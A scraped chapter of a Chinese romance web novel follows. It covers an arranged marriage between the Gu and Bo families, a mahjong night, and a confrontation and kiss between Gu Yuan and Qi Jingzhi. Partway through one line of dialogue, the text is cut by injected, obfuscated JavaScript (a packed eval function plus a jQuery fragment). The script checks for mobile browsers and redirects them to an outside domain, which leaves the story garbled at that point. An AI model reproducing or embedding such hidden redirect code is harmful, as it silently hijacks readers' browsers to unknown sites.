默认冷灰
24号文字
方正启体

6. 第 6 章

作者:折枝伴酒本书字数:K更新时间:
    顾鸢回到家,王妈正收拾餐厅的残羹冷炙,问她要不要来晚莲子汤,最近天气转热,易燥易上火。


    她虽然没吃晚饭,但也没食欲,说不用,直接上楼。


    卧室被打扫过,玄关干干净净空无一物,她赶紧叫二楼整理房间的小玲。


    穿着罩衣打扫卫生的年轻姑娘从空中花园跑来,急匆匆站稳:“怎么了大小姐?”


    顾鸢指着她屋里:“东西呢?”


    “薄先生送的礼物吗?”小玲拿着笤帚笑,“都帮您归置到衣帽间了。”


    “包装还在吗?”


    “在楼下,应该还没丢。”


    “帮我找回来。”


    “……好,马上去。”小玲火速跑向楼下。


    顾鸢关了房门,迟疑片刻,在走廊尽头拐弯。


    穿过一间起居室和健身房,沉稳的深木色装修渐变成粉调奶油风。


    顾鸢敲了敲那扇白色的法式雕花门。


    门内隐约传来布料窸窣的响动。


    顾鸢轻轻吸了口气:“小满,在吗?”


    这时门突然开了,顾月满垂顺的发丝落在刚刚扣好的睡衣外套上,藕荷色真丝缎面,也没衬得她憔悴少几分。


    “我能进来吗?”顾鸢小声问。


    “嗯。”顾月满转身往里走,指了指窗户边的沙发,“姐姐坐。”


    顾鸢没客气,坐了一角,接过顾月满递来的水杯:“谢谢。”


    顾月满坐到她对面:“姐姐,什么事?”


    “我就不绕弯子了。”顾鸢向来不喜欢迂回曲折,“听人说你喜欢薄先生,是真的吗?”


    顾月满放在膝盖上的双手攥紧,夹着哽意的音调很低很低:“姐姐放心,我很快要出国读研了,会忘掉的。”


    做过心理准备,真相依然猝不及防。顾鸢一口气堵在胸腔,胀得疼。


    “小满。”她倾身向前,望着那双比兔子还红的眼睛,“如果有机会嫁给喜欢的人,你还要出国吗?”


    顾月满不假思索:“当然要。”


    “如果对方不让你去呢?”


    “……那就,算了吧。”滚烫的眼泪滴在手背上,“我必须出国,我要撑起这个家,顾家上下,集团的几十万员工都在等我,我要让我爸早点退休养病。况且……也不会再有喜欢的人了。”


    原本顾鸢还准备了一些说辞,但现在看来没必要再说。她的妹妹很清醒。


    顾鸢欣慰地笑着,手掌覆在姑娘晕湿的手背上:“那你要记得今天的话,不管身处什么境地,永远坚定地做你自己。没有任何人,任何事,比你自己更重要。任何阻止你往前走的,都不要妥协。”


    顾月满吸了吸鼻子,认真地望进她眼睛:“好。”


    回到房间,那些礼物的包装袋已经整齐地码在玄关,顾鸢一一把它们装好,暂时还不能处理,都放进衣帽间柜子。


    弄完这些才去看手机。


    薛嬗:【问到了,明天下午她去Lam做美容。】


    【你要干嘛?和未来婆婆搞关系啊?】


    顾鸢没说太多:【谢了。】


    薛嬗:【又欠我顿饭!】


    顾鸢:【一定还。】


    回复完薛嬗,她在工作群@夏若:【明晚谁夜班?】


    夏若估计在忙,没回,许钊主动跳出来:【我啊,我又夜班。】


    顾鸢:【咱俩换吧。】


    许钊:【我去!有这好事?】


    【暗中观察.jpg】


    【主任在看吗?】


    季安仁:【怎么,不骂你两句心痒痒?】


    许钊发了个可怜巴巴的表情:【老师我能换班吗?】


    季安仁:【瞅你那没出息的样。】


    卢玮:【瞅你那没断奶的样。】


    季安仁:【……】


    主任不再冒泡,许钊知道这是默许了,高兴地发了好几个螺旋转圈的表情。说今晚一定早休息,明天替她好好上白班。


    顾鸢却没能早睡。


    明天的计划她没把握,半夜去地下室拿了瓶酒喝,直到两点才昏昏沉沉地睡了。


    *


    沚水湾龙鸣阁,是会所最幽静的一处院落,公子大爷们的熬夜基地,各种娱乐活动应有尽有。


    祁景之到的时候,陆西辞带老婆在院里钓鱼,打了几圈牌,又听见陆西辞叫服务员,把鲤鱼拿去做夜宵。


    “有老婆的人就是不一样。”阮承嘴里叼着烟囫囵着,给祁景之喂了张八条,“神气啊,鱼都知道往他身边儿凑。”


    “羡慕了?”祁景之把八条拎过来亮牌,从盒子里敲了根烟,边摸打火机边收钱,“别光会嚷,没行动,老婆还能闻着味儿来找?”


    “我急什么?”阮承扔给他一只打火机,“这儿就你年纪最大。”


    裴樾瞄了祁景之一眼,揣着明白吊儿郎当地笑:“人家是不婚主义,和你们这些思春老处男可不一样。”


    被戳到痛处的一个个滋哇乱叫。


    牌局又开了,祁景之左手夹着烟,推出去一张,撩眼看他们:“南方香料有门路吗?”


    “你要搞香料?”裴樾拧眉,“野料子都被当地厂商承包了,北京这边好像只有薄家在合作。怎么,想插手?估计只能搞种植的。”


    男人敲着手里的麻将,藏在烟雾后的眼神邈远难分辨:“种植料,没什么意思。”


    “是啊。”裴樾啧了声,“要么就收好料子,下等货没得玩。”


    阮承在两人中间看了几来回,试探祁景之:“薄家得罪你了?”


    裴樾刚喝进去的茶猛呛进喉管,剧烈咳嗽。


    当事人却淡定地胡了牌:“随口问问。”


    “话说薄家是不是要办大事儿了?好像要和顾家联姻,老爷子身体不好,结个婚冲冲喜。”


    “我听说的版本怎么是顾家远海建筑的资金链有问题?”


    “那不正好,各取所需。”


    ……


    话题被挑起,众人七嘴八舌地交换信息,越说越亢奋。


    祁景之面色寡淡,不发一言,没几圈就亮牌。


    “卧槽,你偷摸搞什么清一色?”


    “你爹没教你吗?话多输钱。”男人收了一沓红票子,也不见高兴。


    *


    翌日,顾鸢稍作打扮,穿了长辈喜好的亮色裙子,和一双素净高跟鞋。


    Lam是一家贵妇美容沙龙,定位在某商圈的风情街。顾鸢把车停在商场地库,跟着定位从8号门出,正好是风情街中段。


    教堂门口很热闹,许多穿西服衬衫的男人,和穿商务套装的女人,像某公司在举办员工活动。


    顾鸢看到一张熟悉面孔,正打算快速走开,不料被一位白衬衫小姐姐拦住,递给她一张宣传单:“美女,我们公司的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908358|176827||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    相亲联谊会,要不要参加一下?很多优秀单身小哥哥哦。”


    “不用了,谢谢。”顾鸢礼貌拒绝。


    “小姐姐我们不是骗子,全都是经过筛选的优秀员工,您知道祁氏的晖腾集团吗?我们是晖腾的子公司,那边还有市电视台……”


    “抱歉啊。”顾鸢抬手拦下她的宣传单,也打断她的话,“我不单身。”


    “……噢,对不起。”女孩尴尬地笑了笑,鞠躬道歉。


    祁景之今天竟然穿了套浅咖色西装,挺韩系,孔雀开屏的模样。顾鸢扯了扯唇,绕着广场外围走,别过脸不再看。


    其实他是被叫来镇场子的,他的信息也不在男嘉宾名册上,没人敢自作主张卖老板。


    眼下他被人缠住,几个女孩锲而不舍地要联系方式,死活不信他说有对象。


    公关部约了主流媒体,活动视频也会在官博发布,双机位对着门口拍摄,他不好发脾气赶人。


    正烦躁着,看见顾鸢绕道而行的身影,灵机一动,假装焦急地指了指那边:“我女朋友生气了。”


    女孩一脸精明:“真的假的?她叫什么名字?”


    “西西。”祁景之略抬音调,唤了一声。


    顾鸢迟疑半秒,条件反射地转过头来。


    男人长腿阔步朝她靠近,周身裹了层光。她的大脑好像还停留在几秒钟前的世界,空荡凝滞,五感被抽离,只有阵阵绕耳的回音。


    西西……


    直到被他拉住手腕,踉跄朝前。


    两栋楼中间的狭窄过道,连阳光都照不进来,更没人再看着他们。


    “谢了。”他松开她,站直了,漫不经心地解释,“人太多,还有媒体,叫你名字怕惹麻烦。”


    “哦。”顾鸢吸了口气,表情寡淡,“没一个看上的?”


    知道这种话以他们如今的关系有点越界,但没忍住,喉咙好像一下子失控。


    祁景之手揣进裤兜里,偏过头扯了下唇,再看回来:“没你命好。”


    “还行吧。”顾鸢不打算解释太多,任他误会,“出来混,总要有这天。”


    享受物质条件,献祭婚姻自由,是他们这种人的宿命。


    幸亏她觉悟得早,知道献祭,也分三六九等。


    西装裤脚掀动,锃亮的高定皮鞋朝她贴近一步,男人微哑的气声漫过头顶的发丝和毛孔:“那你是诚心,还是认命?”


    抵着墙壁的背脊发潮,顾鸢攥紧了手指,嗓音轻飘平淡:“我愿意。”


    “薄瀛之哪里好?”嘲讽的呼吸晕热她额头,隔着发丝也滚烫,“你挑来挑去就挑个这样的?冲喜,亏他们薄家想得出来。”


    “薄先生哪里都好。”顾鸢抬起头,淡淡迎上那片浓郁的黑色,“稳重,周到。”


    男人抬手撑到她耳边,压住了几缕发丝。


    顾鸢看着他倾身,不卑不亢坚定地继续:“懂礼数,有分寸。”


    贴近的脸庞清晰到每根细小绒毛,这是养尊处优的一张脸,不见普通男人的粗犷痕迹,毫无瑕疵,像大师精雕的艺术品。


    心跳仿佛哽在喉咙口,被她竭力压到不至于失控的频率:“爷爷说,无论性格面相,生辰八字,我们都是——”


    天作之合。


    原本掷地有声的四个字,和她的包一起落入尘埃。


    双唇被侵占,从冷硬到炙热,如洪水倾覆。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)